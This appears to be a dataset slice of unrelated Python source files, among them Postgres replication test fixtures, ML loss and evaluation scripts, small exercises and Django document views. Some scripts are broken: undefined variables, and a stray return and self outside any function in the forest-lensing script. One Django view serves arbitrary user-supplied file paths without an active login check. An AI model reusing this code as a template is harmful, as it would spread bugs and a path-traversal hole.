\"RS_TEST_DSN\", \"host=localhost user=postgres dbname={}\"\n )\n\n test_db_name = \"rs_plain_src_test\"\n create_database(test_db_name)\n test_dsn = dsn.format(test_db_name)\n connection = psycopg2.connect(test_dsn)\n connection.autocommit = True\n with connection.cursor() as cursor:\n cursor.execute(\n \"\"\"\nCREATE TABLE alarm (\n alarm_id bigint NOT NULL,\n severity integer NOT NULL,\n cause character varying(20) NOT NULL,\n time_created timestamp with time zone NOT NULL,\n time_cleared timestamp with time zone,\n time_deleted timestamp with time zone\n);\n\nCREATE SEQUENCE alarm_alarm_id_seq\n START WITH 1\n INCREMENT BY 1\n NO MINVALUE\n NO MAXVALUE\n CACHE 1;\n\nALTER SEQUENCE alarm_alarm_id_seq OWNED BY alarm.alarm_id;\n\nALTER TABLE ONLY alarm\nALTER COLUMN alarm_id\nSET DEFAULT nextval('alarm_alarm_id_seq'::regclass);\n\nALTER TABLE ONLY alarm\n ADD CONSTRAINT pk_alarm PRIMARY KEY (alarm_id);\n \"\"\"\n )\n yield connection\n connection.close()\n\n\n@pytest.fixture\ndef src_db():\n \"Return the source database to connect for testing\"\n test_db_name = \"rs_src_test\"\n create_database(test_db_name)\n dsn = os.environ.get(\n \"RS_TEST_SRC_DSN\", \"host=localhost user=postgres dbname=rs_src_test\"\n ).format(test_db_name)\n db = TestDatabase(dsn, slot=\"rs_test_slot\")\n\n # Create the extension to make the version number available\n with db.make_conn() as cnn:\n cur = cnn.cursor()\n cur.execute(\"drop extension if exists replisome\")\n cur.execute(\"create extension replisome\")\n cnn.close()\n\n yield db\n db.teardown()\n\n\n@pytest.fixture\ndef tgt_db():\n \"Return the target database to connect for testing\"\n test_db_name = \"rs_tgt_test\"\n create_database(test_db_name)\n dsn = os.environ.get(\n \"RS_TEST_TGT_DSN\", \"host=localhost user=postgres dbname=rs_tgt_test\"\n )\n db = TestDatabase(dsn)\n yield db\n db.teardown()\n\n\nclass TestDatabase(object):\n \"\"\"\n The representation of a database used for testing.\n\n The database can be the sender of the receiver: a few methods may make\n sense only in one case.\n\n The object optionally manages teardown for one replication slot.\n \"\"\"\n\n def __init__(self, dsn, slot=None):\n self.dsn = dsn\n self.slot = slot\n self.plugin = \"replisome\"\n\n self._conn = None\n self._conns = []\n self._threads = []\n\n @property\n def conn(self):\n \"\"\"\n A connection to the database.\n\n The object is always the same for the object lifetime.\n \"\"\"\n if not self._conn:\n self._conn = self.make_conn()\n return self._conn\n\n def teardown(self):\n \"\"\"\n Close the database connections and stop any receiving thread.\n\n Invoked at the end of the tests.\n \"\"\"\n for thread in self._threads:\n if thread is not None:\n thread.stop()\n thread.join()\n\n for cnn in self._conns:\n cnn.close()\n\n if self.slot:\n logger.debug(\"Dropping replication slot\")\n self.drop_slot()\n\n def make_conn(self, autocommit=True, **kwargs):\n \"\"\"Create a new connection to the test database.\n\n The connection is autocommit, and will be closed on teardown().\n \"\"\"\n cnn = psycopg2.connect(self.dsn, **kwargs)\n cnn.autocommit = autocommit\n self._conns.append(cnn)\n return cnn\n\n def drop_slot(self):\n \"\"\"Delete the replication slot with the current name if exists.\"\"\"\n with self.make_conn() as cnn:\n cur = cnn.cursor()\n cur.execute(\n \"\"\"\n select pg_drop_replication_slot(slot_name)\n from pg_replication_slots\n where slot_name = %s\n \"\"\",\n (self.slot,),\n )\n\n # Closing explicitly as the function can be called in teardown, after\n # other connections (maybe using the slot) have been closed.\n cnn.close()\n\n def run_receiver(self, receiver, dsn):\n \"\"\"\n Run a receiver loop in a thread.\n\n Stop the receiver at the end of the test.\n \"\"\"\n receiver.dsn = dsn\n return self.add_thread(receiver)\n\n def run_pipeline(self, pipeline):\n \"\"\"\n Runs the given pipeline in a thread. Stops pipeline at end of the test.\n\n :param: pipeline\n \"\"\"\n return self.add_thread(pipeline)\n\n def add_thread(self, obj, timeout=timedelta(seconds=1)):\n thread = Thread(target=obj.start)\n thread.stop = obj.stop\n thread.start()\n start_time = datetime.utcnow()\n while not obj.is_running:\n if (start_time + timeout) < datetime.utcnow():\n raise TimeoutError()\n time.sleep(0.01)\n self._threads.append(thread)\n return len(self._threads) - 1\n\n def remove_thread(self, thread_index):\n thread = self._threads[thread_index]\n thread.stop()\n thread.join()\n self._threads[thread_index] = None\n\n\n@pytest.fixture\ndef called():\n \"\"\"Attach a queue to a callable to check if it was called asynchronously.\n\n Use c = called(object, method_name) to intercept calls to object.method().\n Use c.get() to return the arguments passed to object.method() and the\n return value (it returns a tuple (args, kwargs, rv). If the method raised\n an exception, c.get() will reraise it. If the method wasn't called c.get()\n will make the test fail.\n \"\"\"\n cf = CalledFactory()\n yield cf\n for c in cf.called:\n c.restore()\n\n\nclass CalledFactory(object):\n def __init__(self):\n self.called = []\n\n def __call__(self, obj, attr):\n c = Called(obj, attr, self)\n self.called.append(c)\n return c\n\n\nclass Called(object):\n def __init__(self, obj, attr, request):\n self.obj = obj\n self.attr = attr\n self.request = request\n self._queue = Queue()\n\n self.orig = getattr(self.obj, self.attr)\n setattr(self.obj, self.attr, self._call)\n\n def restore(self):\n if hasattr(self, \"orig\"):\n setattr(self.obj, self.attr, self.orig)\n\n def _call(self, *args, **kwargs):\n try:\n rv = self.orig(*args, **kwargs)\n except Exception as e:\n self._queue.put((args, kwargs, e))\n raise\n else:\n self._queue.put((args, kwargs, rv))\n\n return rv\n\n def get(self, timeout=1):\n assert timeout\n try:\n rv = self._queue.get(timeout=timeout)\n except Empty:\n pytest.fail(\"no item received within %s seconds\" % timeout)\n\n if isinstance(rv[2], Exception):\n raise rv[2]\n","sub_path":"tests/pytests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":7830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"192353678","text":"class Allergies():\n def __init__(self,num):\n self.num=num\n self.dic={0:\"\",1:\"eggs\",2:\"peanuts\",4:\"shellfish\",8:\"strawberries\",\n 16:\"tomatoes\",32:\"chocolate\",64:\"pollen\",128:\"cats\"}\n self.binary=([int(x) for x in bin(num)[2:]])[::-1]\n\n self.basket=[self.dic.get(self.binary[m]*(2**m),\"\") for m in range(len(self.binary))]\n self.list=[item for item in self.basket if item]\n def is_allergic_to(self,food):\n return food in self.list\n\n\n\n\n\n \n\n\n \n","sub_path":"all_data/exercism_data/python/allergies/2c6eb8b586304c288533f1bf7055b817.py","file_name":"2c6eb8b586304c288533f1bf7055b817.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"405951324","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 1 22:32:45 2015\n\n@author: Markus\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.arange(0,np.pi, 0.1)\ndeg = 3\ny = np.sin(x)\n\n\n\nc = np.polyfit(x,y,deg)\nxx = np.arange(0,np.pi, 0.01)\np = np.polyval(c,xx)\n\nplt.plot(xx,p)\nplt.plot(x,y)","sub_path":"Other/polytest.py","file_name":"polytest.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"100815032","text":"from elegy import types\nimport typing as tp\nimport jax\nimport jax.numpy as jnp\nfrom elegy import utils\nfrom elegy.losses.loss import Loss, Reduction\n\n\ndef binary_crossentropy(\n y_true: jnp.ndarray, \n y_pred: jnp.ndarray, \n from_logits: bool = False\n ) -> jnp.ndarray:\n\n if from_logits:\n return -jnp.mean(y_true * y_pred - jnp.logaddexp(0.0, y_pred), axis=-1)\n\n y_pred = jnp.clip(y_pred, utils.EPSILON, 1.0 - utils.EPSILON)\n return -jnp.mean(y_true * jnp.log(y_pred) + (1 - y_true) * jnp.log(1 - y_pred), axis=-1)\n\n\n\nclass BinaryCrossentropy(Loss):\n \"\"\"\n Computes the cross-entropy loss between true labels and predicted labels.\n Use this cross-entropy loss when there are only two label classes (assumed to\n be 0 and 1). For each example, there should be a single floating-point value\n per prediction.\n In the snippet below, each of the four examples has only a single\n floating-pointing value, and both `y_pred` and `y_true` have the shape\n `[batch_size]`.\n\n Usage:\n ```python\n y_true = jnp.array([[0., 1.], [0., 0.]])\n y_pred = jnp.array[[0.6, 0.4], [0.4, 0.6]])\n\n # Using 'auto'/'sum_over_batch_size' reduction type.\n bce = elegy.losses.BinaryCrossentropy()\n result = bce(y_true, y_pred)\n assert jnp.isclose(result, 0.815, rtol=0.01)\n\n # Calling with 'sample_weight'.\n bce = elegy.losses.BinaryCrossentropy()\n result = bce(y_true, y_pred, sample_weight=jnp.array([1, 0]))\n assert jnp.isclose(result, 0.458, rtol=0.01)\n\n # Using 'sum' reduction type.\n bce = elegy.losses.BinaryCrossentropy(reduction=elegy.losses.Reduction.SUM)\n result = bce(y_true, y_pred)\n assert jnp.isclose(result, 1.630, rtol=0.01)\n\n # Using 'none' reduction type.\n bce = elegy.losses.BinaryCrossentropy(reduction=elegy.losses.Reduction.NONE)\n result = bce(y_true, y_pred)\n assert jnp.all(jnp.isclose(result, [0.916, 0.713], rtol=0.01))\n ```\n\n\n Usage with the `compile` API:\n ```python\n model = elegy.Model(\n module_fn,\n loss=elegy.losses.BinaryCrossentropy(),\n metrics=elegy.metrics.Accuracy.defer(),\n optimizer=optix.adam(1e-3),\n )\n ```\n \"\"\"\n \n def __init__(\n self,\n from_logits=False,\n label_smoothing: float=0,\n reduction: tp.Optional[Reduction] = None,\n name: tp.Optional[str] = None\n ):\n super().__init__(reduction=reduction, name=name)\n self._from_logits = from_logits\n self._label_smoothing = label_smoothing\n\n def call(\n self,\n y_true: jnp.ndarray,\n y_pred: jnp.ndarray,\n sample_weight: tp.Optional[jnp.ndarray] = None,\n ) -> jnp.ndarray:\n \"\"\"\n Invokes the `BinaryCrossentropy` instance.\n\n Arguments:\n y_true: Ground truth values.\n y_pred: The predicted values.\n sample_weight: Acts as a\n coefficient for the loss. If a scalar is provided, then the loss is\n simply scaled by the given value. If `sample_weight` is a tensor of size\n `[batch_size]`, then the total loss for each sample of the batch is\n rescaled by the corresponding element in the `sample_weight` vector. If\n the shape of `sample_weight` is `[batch_size, d0, .. dN-1]` (or can be\n broadcasted to this shape), then each loss element of `y_pred` is scaled\n by the corresponding value of `sample_weight`. (Note on`dN-1`: all loss\n functions reduce by 1 dimension, usually axis=-1.)\n Returns:\n Loss values per sample.\n \"\"\"\n\n return binary_crossentropy(y_true, y_pred, from_logits=self._from_logits)\n","sub_path":"elegy/losses/binary_crossentropy.py","file_name":"binary_crossentropy.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"15156168","text":"import os\nimport sys\nimport cv2\nimport glob\nimport time\nimport argparse\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom core.Classifier import *\n\nfrom utils.Utils import *\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='HelmetClassifier', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n # preprocessing\n parser.add_argument('--max_image_size', dest='max_image_size', help='max_image_size', default=224, type=int)\n \n # update !!\n parser.add_argument('--experimenter', dest='experimenter', help='experimenter', default='JSH', type=str)\n parser.add_argument('--error_dir', dest='error_dir', help='error_dir', default='D:/_ImageDataset/', type=str)\n parser.add_argument('--root_dir', dest='root_dir', help='root_dir', default='D:/_ImageDataset/Recon_HelmetClassifier_DB_20191206/', type=str)\n \n # gpu option\n parser.add_argument('--use_gpu', dest='use_gpu', help='use gpu', default='0', type=str)\n parser.add_argument('--batch_size_per_gpu', dest='batch_size_per_gpu', default=32, type=int)\n \n # model option\n parser.add_argument('--option', dest='option', default='b0', type=str)\n parser.add_argument('--ckpt_path', dest='ckpt_path', help='ckpt_path', type=str)\n\n return parser.parse_args()\n\nargs = vars(parse_args())\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args['use_gpu']\n\nmodel_dir = os.path.dirname(args['ckpt_path'])\nmodel_name = os.path.basename(args['ckpt_path'])\n\nlog_txt_path = model_dir + '{}_accuracy.txt'.format(model_name)\n\nimage_var = tf.placeholder(tf.float32, [None] + [args['max_image_size'], args['max_image_size'], 3], name = 'images')\nlabel_var = tf.placeholder(tf.float32, [None, 3])\nis_training = tf.placeholder(tf.bool)\n\noutput_dic = EfficientNet(image_var, is_training, option)\npredictions_op = output_dic['predictions']\n\ncorrect_op = tf.equal(tf.argmax(predictions_op, axis = 1), tf.argmax(label_var, axis = 1))\naccuracy_op = tf.reduce_mean(tf.cast(correct_op, tf.float32)) * 100\n\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\nsaver = tf.train.Saver()\nsaver.restore(sess, args['ckpt_path'])\n\ntest_dic = {\n 'positive' : [],\n 'negative' : [],\n}\n\ndataset = np.load('./dataset/test_crop_dataset.npy', allow_pickle = True)\ntest_dic['positive'] += [[args['root_dir'] + image_name, bbox, size] for (image_name, bbox, size) in dataset.item().get('positive')]\ntest_dic['negative'] += [[args['root_dir'] + image_name, bbox, size] for (image_name, bbox, size) in dataset.item().get('negative')]\n\ndataset = np.load('./dataset/test.npy', allow_pickle = True)\ntest_dic['positive'] += [args['root_dir'] + image_name for image_name in dataset.item().get('positive')]\ntest_dic['negative'] += [args['root_dir'] + image_name for image_name in dataset.item().get('negative')]\n\ntest_accuracy_dic = {}\ntest_time = time.time()\n\nlog_print('### Test', log_txt_path)\nfor key in ['positive', 'negative']:\n log_print('=> {:10s} = {}'.format(key, len(test_dic[key])), log_txt_path)\n\nfor key in ['positive', 'negative']:\n test_accuracy_list = []\n test_dataset = test_dic[key]\n \n if key == 'positive':\n label = [0, 0, 1]\n else:\n label = [0, 1, 0]\n \n for i in range(len(test_dataset) // args['batch_size']):\n batch_dataset = test_dataset[i * args['batch_size'] : (i + 1) * args['batch_size']]\n\n batch_image_data = []\n batch_label_data = []\n \n for batch_data in batch_dataset:\n if type(batch_data) == list:\n image_path, bbox, size = batch_data\n\n image = cv2.imread(image_path) \n if image is None:\n if os.path.isfile(image_path):\n print('[!] delete : {}'.format(image_path))\n # os.remove(image_path)\n continue\n else:\n xmin, ymin, xmax, ymax = bbox\n\n image = image[ymin : ymax, xmin : xmax]\n else:\n image_path = batch_data\n\n image = cv2.imread(image_path)\n if image is None:\n print(image_path)\n continue\n \n image = cv2.resize(image, (args['max_image_size'], args['max_image_size']), interpolation = cv2.INTER_CUBIC)\n \n batch_image_data.append(image.astype(np.float32))\n batch_label_data.append(label)\n\n _feed_dict = {\n input_var : batch_image_data,\n label_var : batch_label_data,\n is_training : False\n }\n accuracy = sess.run(accuracy_op, feed_dict = _feed_dict)\n test_accuracy_list.append(accuracy)\n \n test_accuracy = np.mean(test_accuracy_list)\n test_accuracy_dic[key] = test_accuracy\n\ntotal_test_accuracy = [test_accuracy_dic[key] for key in ['positive', 'negative']]\ntotal_test_accuracy = np.mean(total_test_accuracy)\n\ntest_time = int(time.time() - test_time)\n\nlog_print('# Test = {}sec'.format(test_time), log_txt_path)\nlog_print('- Positive Accuracy : {}'.format(test_accuracy_dic['positive']), log_txt_path)\nlog_print('- Negative Accuracy : {}'.format(test_accuracy_dic['negative']), log_txt_path)\nlog_print('- Mean Accuracy : {}'.format(total_test_accuracy), log_txt_path)\n","sub_path":"Test_Accuracy.py","file_name":"Test_Accuracy.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"151801383","text":"\n\n#calss header\nclass _QUALIFICATION():\n\tdef __init__(self,): \n\t\tself.name = \"QUALIFICATION\"\n\t\tself.definitions = [u'an official record showing that you have finished a training course or have the necessary skills, etc.: ', u'an ability, characteristic, or experience that makes you suitable for a particular job or activity: ', u'success in getting into a competition: ', u'an extra piece of information that limits the effect of something that you say or write: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_qualification.py","file_name":"_qualification.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"315857843","text":"def checkColor(color):\r\n if color == \"red\":\r\n return \"That is my favorite color too\"\r\n else:\r\n return \"I do not like \" + color + \", i personally prefer red.\"\r\n\r\nprint(\"Which is your favorite color: \\n\")\r\n\r\ncolor = input()\r\nprint(checkColor(color.lower()))","sub_path":"02_If_Statement/Problema_015.py","file_name":"Problema_015.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"247773740","text":"# Author: Sam Youles\n# Modified by Julian Bautista\n\nimport numpy as np\nimport healpy as hp\nimport sys\nimport glob\nimport os\nimport fitsio\nfrom kappa_lya import *\n\n\n# input directory name containing delta files\nindir = sys.argv[1]\noutdir = sys.argv[2]\nmapdir = sys.argv[3]\nmapnumber = sys.argv[4]\nmapname = '{}/kappa_input{}.fits'.format(mapdir, mapnumber)\n\n#-- Create angular power spectrum of kappa\ntheory = Theory()\nell, cell = theory.get_cl_kappa(2.1, kmax=100., nz=100, lmax=10000)\n\n#nside = 256 # SY 27/11/18 Smooth maps to match nside of estimated maps (Was 1024, this reduces noise)\n#npix=nside**2*12\n#seed=int(mapnumber)\n#np.random.seed(seed)\n#kappa = create_gaussian_kappa(ell, cell, nside=nside, seed=seed)\n#hp.fitsfunc.write_map(mapname, kappa.A, fits_IDL=False)\n\n#-- Use pre-existing kappa input file\nkappa = fitsio.FITS(mapname)\n\n# Amend DEC and RA in each of the delta files by the bend angle from alpha map\nalldeltas = glob.glob(indir+'/*.fits.gz')\nndel = len(alldeltas)\ni=0\nfor filename in alldeltas:\n #hdus = fits.open(filename)\n hdus = fitsio.FITS(filename)\n print(i, ndel)\n i+=1\n\n out = fitsio.FITS(outdir+\"/\"+os.path.basename(filename),'rw',clobber=True)\n\n for hdu in hdus[1:]:\n header = hdu.read_header()\n ra = header['RA']\n dec = header['DEC']\n\n # Add bend angles to ra and dec\n theta_lens, phi_lens = kappa.displace_objects(np.pi/2-dec, ra) \n\n theta = np.pi/2-dec\n phi = ra\n ipix = hp.ang2pix(nside, theta, phi)\n dtheta = kappa[ipix]\n dphi = self.dphi_map.A[ipix]/np.sin(theta)\n dd = np.sqrt(dtheta**2+dphi**2)\n #alpha = np.arctan2(dphi,dtheta) + np.pi\n alpha = np.arctan2(dphi,dtheta) ## SY 19/6/18\n #-- Equation A15 from 0502469\n thetap = np.arccos(np.cos(dd)*np.cos(theta) - \n np.sin(dd)*np.sin(theta)*np.cos(alpha))\n phip = phi+np.arcsin(np.sin(alpha)*np.sin(dd)/np.sin(thetap))\n return thetap, phip\n\n\n\n\n # Rewrite new delta file with new values\n header['RA'] = phi_lens\n header['DEC'] = np.pi/2-theta_lens\n header['RA0'] = ra\n header['DEC0'] = dec\n \n #-- Re-create columns (maybe there's a better way to do this?) \n ll = hdu['LOGLAM'][:]\n de = hdu['DELTA'][:]\n we = hdu['WEIGHT'][:]\n co = hdu['CONT'][:] \n cols=[ll, de, we, co]\n names=['LOGLAM','DELTA','WEIGHT','CONT']\n out.write(cols, names=names, header=header, \\\n extname=str(header['THING_ID']))\n\n out.close()\n\n","sub_path":"bin/move_forests_from_map.py","file_name":"move_forests_from_map.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"388255029","text":"import RPi.GPIO as GPIO\nimport time\n\nclass RailSwitch:\n def __init__(self, pin, delay = 1000):\n self.pin = pin\n self.delay = delay / 1000\n self.pushed = False\n self.t = 0\n GPIO.setup(self.pin, GPIO.IN, pull_up_down = GPIO.PUD_UP)\n GPIO.add_event_detect(self.pin, GPIO.FALLING, callback = self.callback)\n\n def callback(self, ch):\n self.set_pushed()\n\n def set_pushed(self):\n self.t = time.time()\n self.pushed = True\n\n def reset_pushed(self):\n self.t = 0\n self.pushed = False\n\n def is_pushed(self):\n if (self.pushed):\n now = time.time()\n if (now - self.t < self.delay):\n return True\n else:\n self.reset_pushed()\n return False\n else:\n return False\n\n","sub_path":"crossing_double_raspi/RailSwitch.py","file_name":"RailSwitch.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"160304714","text":"import torch.nn as nn\n\nimport torch.nn.functional as F\n\nclass ListenAttendSpell(nn.Module):\n\n \"\"\"\n\n Listen, Attend and Spell (LAS) Model\n\n​\n\n Args:\n\n - listener (nn.Module): encoder of seq2seq\n\n - speller (nn.Module): decoder of seq2seq\n\n - decode_function (nn.functional): A function used to generate symbols from RNN hidden state\n\n​\n\n Reference:\n\n 「Listen, Attend and Spell」 paper\n\n https://arxiv.org/abs/1508.01211\n\n​\n\n How to Use:\n\n >>> listener = Listener(feat_size, 256, 0.5, 6, True, 'gru', True)\n\n >>> speller = Speller(vocab_size, 120, 8, 256 << (1 if use_bidirectional else 0))\n\n >>> model = ListenAttendSpell(listener, speller)\n\n \"\"\"\n\n def __init__(self, listener, speller, decode_function = F.log_softmax, use_pyramidal = False):\n\n super(ListenAttendSpell, self).__init__()\n\n self.listener = listener\n\n self.speller = speller\n\n self.decode_function = decode_function\n\n self.use_pyramidal = use_pyramidal\n\n\n def forward(self, feats, targets=None, teacher_forcing_ratio=0.90, use_beam_search = False):\n\n listener_outputs, listener_hidden = self.listener(feats)\n\n y_hat, logit = self.speller(\n\n inputs=targets,\n\n listener_hidden=listener_hidden,\n\n listener_outputs=listener_outputs,\n\n function=self.decode_function,\n\n teacher_forcing_ratio=teacher_forcing_ratio,\n\n use_beam_search=use_beam_search\n\n )\n\n return y_hat, logit","sub_path":"src/tutorial.py","file_name":"tutorial.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419403624","text":"# https://leetcode.com/problems/non-decreasing-array/\n# check if it could become non-decreasing by modifying at most 1 element.\n# Input: [4,2,1]\n# Output: False\n\nclass Solution:\n def checkPossibility(self, nums) -> bool:\n decrs = 0\n for i in range(len(nums)-1):\n if nums[i] > nums[i+1]:\n decrs += 1\n index = i\n if decrs > 1:\n return False\n elif decrs == 1:\n if index != 0 and index != len(nums)-2 and nums[index-1] > nums[index+1] and nums[index+2] < nums[index]:\n return False\n return True\n\n\nif __name__==\"__main__\":\n obj = Solution()\n param_1 = obj.checkPossibility([3,4,2,3])\n # param_1 = obj.checkPossibility([4,2,3])\n print(param_1)","sub_path":"leetcode/665_Non-decreasingArray.py","file_name":"665_Non-decreasingArray.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"609104578","text":"import torch\nfrom all.core import State, StateTensor\nfrom ._body import Body\n\nclass FrameStack(Body):\n def __init__(self, agent, size=4, lazy=False):\n super().__init__(agent)\n self._frames = []\n self._size = size\n self._lazy = lazy\n\n def process_state(self, state):\n if not self._frames:\n self._frames = [state.observation] * self._size\n else:\n self._frames = self._frames[1:] + [state.observation]\n if self._lazy:\n return LazyState.from_state(state, self._frames)\n if isinstance(state, StateTensor):\n return state.update('observation', torch.cat(self._frames, dim=1))\n return state.update('observation', torch.cat(self._frames, dim=0))\n\nclass LazyState(State):\n @classmethod\n def from_state(cls, state, frames):\n state = LazyState(state, device=state.device)\n state['observation'] = frames\n return state\n\n def __getitem__(self, key):\n if key == 'observation':\n v = dict.__getitem__(self, key)\n if torch.is_tensor(v):\n return v\n return torch.cat(dict.__getitem__(self, key), dim=0)\n return super().__getitem__(key)\n","sub_path":"all/bodies/vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"246241734","text":"\"\"\"\n lambdata - a collection of Data Science helper functions\n\"\"\"\n\nimport setuptools\n\nREQUIRED = [\n \"numpy\",\n \"pandas\"\n]\n\nwith open(\"README.md\", \"r\") as fh:\n\tLONG_DESCRIPTION = fh.read()\n\nsetuptools.setup(\n\tname = \"lambdata-alex-witt\",\n\tversion = \"0.0.3\",\n\tauthor = \"alex-witt\",\n\tdescription = \"A colleciton of Data Science Helper functions\", \n\tlong_description = LONG_DESCRIPTION,\n\tlong_description_content_type = \"text/markdown\", \n\turl = \"https://github.com/alex-witt/lambdata\",\n\tpackages = setuptools.find_packages(),\n\tpython_requires = \">=3.5\",\n\tinstall_requires = REQUIRED,\n\tclassifiers = [\n\t\t\"Programming Language :: Python :: 3\",\n\t\t\"License :: OSI Approved :: MIT License\",\n\t\t\"Operating System :: OS Independent\", \n\t],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"94094226","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom django.http import FileResponse, HttpResponse, Http404, HttpResponseRedirect\nfrom django.contrib import messages\nfrom django.utils.safestring import mark_safe\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.static import serve\n\nfrom .models import Deg_Plan_Doc, Student\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\n\nfrom .forms import create_doc_form, stu_search_form, stu_bio_form\nfrom .crypt import Cryptographer\n\n\nimport os\n\ndef home(request):\n docs = Deg_Plan_Doc.objects.all()\n return render(request, 'home.html', { 'docs': docs })\n\ndef upload(request):\n if request.method == 'POST' and request.FILES['myfile']:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n uploaded_file_url = fs.url(filename)\n return render(request, 'upload.html', {\n 'uploaded_file_url': uploaded_file_url\n })\n return render(request, 'upload.html')\n \ndef form_upload(request):\n if request.method == 'POST':\n form = create_doc_form(Deg_Plan_Doc)(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = create_doc_form(Deg_Plan_Doc)\n return render(request, 'form_upload.html', {\n 'form': form\n })\n \ndef delete(request, model, id, obj_text, field_text, show_field, redirect_url):\n try:\n del_obj = model.objects.get(id = id)\n except ObjectDoesNotExist:\n messages.error(request, obj_text + \"does not exist.\")\n else:\n if request.method == 'POST':\n messages.success(request, obj_text + \\\n \"({0}: {1}) is deleted.\".format(field_text, del_obj.__dict__[show_field]))\n del_obj.delete()\n return redirect(redirect_url)\n else:\n text = \"Are you sure to delete this \" + obj_text.lower() + \\\n \"({0}: {1})?\".format(field_text, del_obj.__dict__[show_field])\n text += \"

    This change CANNOT be recovered.\"\n return render(request, 'confirmation.html', {\n 'confirm_message': mark_safe(text),\n 'redirect_url': redirect_url,\n }) \n\ndef delete_doc(request, model, id, redirect_url):\n try:\n del_doc = Deg_Plan_Doc.objects.get(id = id)\n except ObjectDoesNotExist:\n messages.error(request, \"Document({0}) does not exist.\".format(del_doc.doc.name))\n return redirect(redirect_url)\n else:\n if request.method == 'POST':\n try:\n os.remove(del_doc.doc.path)\n except OSError as err:\n err_text = \"{0}\".format(err)\n messages.error(request, err_text[err_text.find(']') + 1 : err_text.find(':')])\n del_doc.delete()\n messages.warning(request, 'Document is deleted but some errors occur.')\n else:\n del_doc.delete()\n messages.success(request, 'Document is deleted.')\n return redirect(redirect_url)\n else:\n text = \"Are you sure to delete this document({0})?\".format(del_doc.doc.name)\n text += \"

    This change CANNOT be recovered.\"\n return render(request, 'confirmation.html', {\n 'confirm_message': mark_safe(text),\n 'redirect_url': redirect_url,\n }) \n\n\ndef degree_plan(request, option = '', id = 0):\n if request.method == 'POST':\n if option == 'del':\n return delete_doc(request, Deg_Plan_Doc, id, \"/degree_plan/\")\n forms = []\n deg_plans = Deg_Plan_Doc.objects.all()\n changed, error = False, False\n for deg_plan in deg_plans:\n forms.append(create_doc_form(Deg_Plan_Doc)(request.POST, request.FILES,\\\n instance = deg_plan, prefix = str(deg_plan.id)))\n for form in forms:\n if form.has_changed():\n changed = True\n if form.is_valid():\n form.save()\n else:\n error = True\n messages.error(request, mark_safe(\"{0} ({1}) failed to update due to:
    {2}\".format\\\n (form.instance.doc, form.instance.doc_type, form.errors)))\n if option == 'add' :\n new_form = create_doc_form(Deg_Plan_Doc)(request.POST, request.FILES, prefix = 'new')\n if new_form.is_valid():\n changed = True\n new_form.save()\n if not changed:\n messages.info(request, 'Noting is changed.')\n elif not error:\n messages.success(request, 'Documents are updated.')\n else:\n messages.warning(request, 'Some documents are not updated.')\n return redirect('degree_plan')\n else:\n if option == 'del':\n return delete_doc(request, Deg_Plan_Doc, id, \"/degree_plan/\")\n forms = []\n deg_plans = Deg_Plan_Doc.objects.all()\n if deg_plans.count() == 0 and option != 'add': return redirect('degree_plan', option = 'add')\n for deg_plan in deg_plans:\n forms.append(create_doc_form(Deg_Plan_Doc)(instance = deg_plan, prefix = str(deg_plan.id)))\n if option == 'add' :\n forms.append(create_doc_form(Deg_Plan_Doc)(prefix = 'new'))\n return render(request, 'degree_plan.html', {\n 'forms': forms,\n 'option': option,\n })\n \n# @login_required\ndef serve_protected_document(request, file_path):\n\n file_path = os.path.join(settings.BASE_DIR, file_path)\n try:\n with open(file_path, 'rb') as fh:\n content = Cryptographer.decrypted(fh.read())\n response = HttpResponse(content, content_type=\"application/pdf\")\n response['Content-Disposition'] = 'inline; filename=' + os.path.basename(file_path)\n return response\n except:\n raise Http404\n 